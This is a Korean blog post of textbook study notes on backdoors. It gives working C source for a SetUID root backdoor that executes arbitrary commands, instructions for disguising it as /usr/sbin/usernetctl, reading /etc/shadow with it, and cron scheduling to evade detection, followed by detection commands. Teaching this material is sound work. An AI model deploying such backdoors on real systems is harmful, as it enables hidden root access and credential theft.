백도어
트로이 목마 : 사용자가 의도치 않은 코드를 정상적인 프로그램에 삽입한 프로그램
스파이웨어 : 설치된 시스템의 정보를 주기적으로 원격지의 특정한 서버에 보내는 프로그램
백도어 : 원래 의미는 운영체제나 프로그램을 생성할 때 정상적인 인증 과정을 거치지 않고, 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로. 원래는 원격 관리 프로그램으로 개발되었지만 백도어로 악용됨.
개발된 후에는 삭제되어야 함에도 불구하고 제품에 그대로 남아서 출시.
트로이 목마도 백도어의 한 가지라 할 수 있다.
백도어의 종류
로컬 백도어 : 로컬에서 서버의 shell을 얻어내 관리자로 권한을 상승할 때 사용. 공격자는 일반 계정이 하나 필요함 (일반 계정에서 root 계정으로 권한 상승)
원격 백도어 : 원격으로 관리자 권한을 획득해 시스템에 접근, 네트워크에 자신의 포트를 개방. 로컬 백도어와 달리 시스템 계정이 필요 없음
패스워드 크래킹 백도어 : 인증에 필요한 패스워드를 원격지 공격자에게 보내주는 역할
시스템 설정 변경 백도어 : 시스템 설정을 해커가 원하는 대로 변경하기 위한 툴
트로이 목마 : 정상 프로그램 안에 숨겨진 프로그램. 처음부터 백도어를 목적으로 만들어진 것은 아니지만 백도어로 동작하는 경우, 윈도우에서는 웹 브라우저나 명령 창, 간단한 게임 등도 백도어와 섞을 수 있다.
거짓 업그레이드 : 시스템을 패치하거나 업그레이드할 때 잘못된 프로그램 설치
SetUID형 로컬 백도어
1. 백도어의 인수(argv [1] 즉, char exec [100])를 system( ) 명령으로 실행하는 형태 backdoor.c 작성
#include <stdio.h>
int main (int argc, char *argv[]){
char exec[100];
setuid (0);
setgid (0);
sprintf (exec, "%s 2>/dev/null ", argv[1]);
system (exec);
}
2. SetUID 비트에 설정과 실행 권한 부여
gcc -o backdoor backdoor.c //일반 계정에서 컴파일
chmod 4755 backdoor //루트 계정 전환 후, SetUID 실행 권한 부여
3. 백도어 동작 확인
./backdoor "id"
./backdoor "cat /etc/passwd"
/* 해당 환경에서 /etc/passwd 파일은 일반 계정이 읽을 수 있는 권한이 없도록 설정되어 있음 */
id 명령 실행 : 관리자 계정으로 출력됨
4. 백도어 숨기기 1
바꿔치기에 적합한 대상 찾기
find / -perm 4755
//setuid가 설정된 파일 검색
4000 권한이 설정되어 있고, 일반적으로 거의 사용되지 않는 프로그램을 바꿔치기할 대상으로 선택
( /usr/sbin/usernetctl )
5. 백도어 숨기기 2
/usr/sbin/usernetctl을 실행하여 그 interface를 흉내 내자.
/usr/sbin/usernetctl
백도어 프로그램 실행 시 위와 똑같이 실행되도록 속일 수 있는 백도어 프로그램을 만들자
주어진 명령의 실행 결과 출력 메시지를 파악하고, 해당 내용을 백도어의 출력 메시지로 설정
backdoor.c에 출력 메시지 추가
printf ("usage: usernetctl <interface-config>
<up|down|report>\n");
usernetctl 명령과 같은 결과로 출력되도록 변경한 backdoor 실행 결과
6. 백도어 숨기기 3
backdoor 파일을 usernetctl로 바꾸기
mv ./backdoor /usr/sbin/usernetctl
바꾼 백도어 이용
/usr/sbin/usernetctl "cat /etc/shadow"
관리자만 읽기 권한이 있는 shadow 파일 읽기 가능
자동 실행형 백도어
cron 작업 스케줄러 명령을 활용하여 일정 시간이 되면 자체적으로 프로그램을 실행하는 백도어 만들기
cron
분 / 시 / 날짜 / 달 / 요일
02 4 * * * root run-parts /etc/cron.daily
-> 날짜, 달, 요일에 관계 없이 매일 04시 02분에 실행
30 16,17 5-7 */2 * reboot
-> 2개월마다(*/2), 5일부터 7일까지(5-7), 16시 30분/17시 30분(30 16,17)에 재부팅
ishd라는 백도어가 설치되었다는 가정하에 cron 설정
0 4 * * * ./ishd -i 65000 // 4시에 프로세스 생성
0 5 * * * pkill -U root ishd // 5시에 프로세스 실행 종료
매일 새벽에만 동작함으로, 탐지하기가 어려워짐
백도어 탐지와 대응책
프로세스 확인
"ps -ef" 명령으로 시스템의 shell과 프로세스 소유자에 관계없이 모든 프로세스 확인
ps -ef
열린 포트 확인
백도어 상당수가 외부와의 통신을 위한 서비스 포트를 생성함
시스템에서는 netstat 명령으로 열린 포트 확인
netstat -an
SetUID 파일 검사
find 명령 이용 시스템에서 SetUID, SetGID가 부여된 파일 검색
find / -perm +4000
출처 : 시스템 해킹과 보안: 정보 보안 개론과 실습 저자 : 양대일 출판 :한빛 아카데미
'시스템 해킹과 보안' 카테고리의 다른 글
[시스템 해킹과 보안] 패스워드 크래킹 (0) | 2022.12.09 |
---|---|
[시스템 해킹과 보안] 계정과 권한 (0) | 2022.12.09 |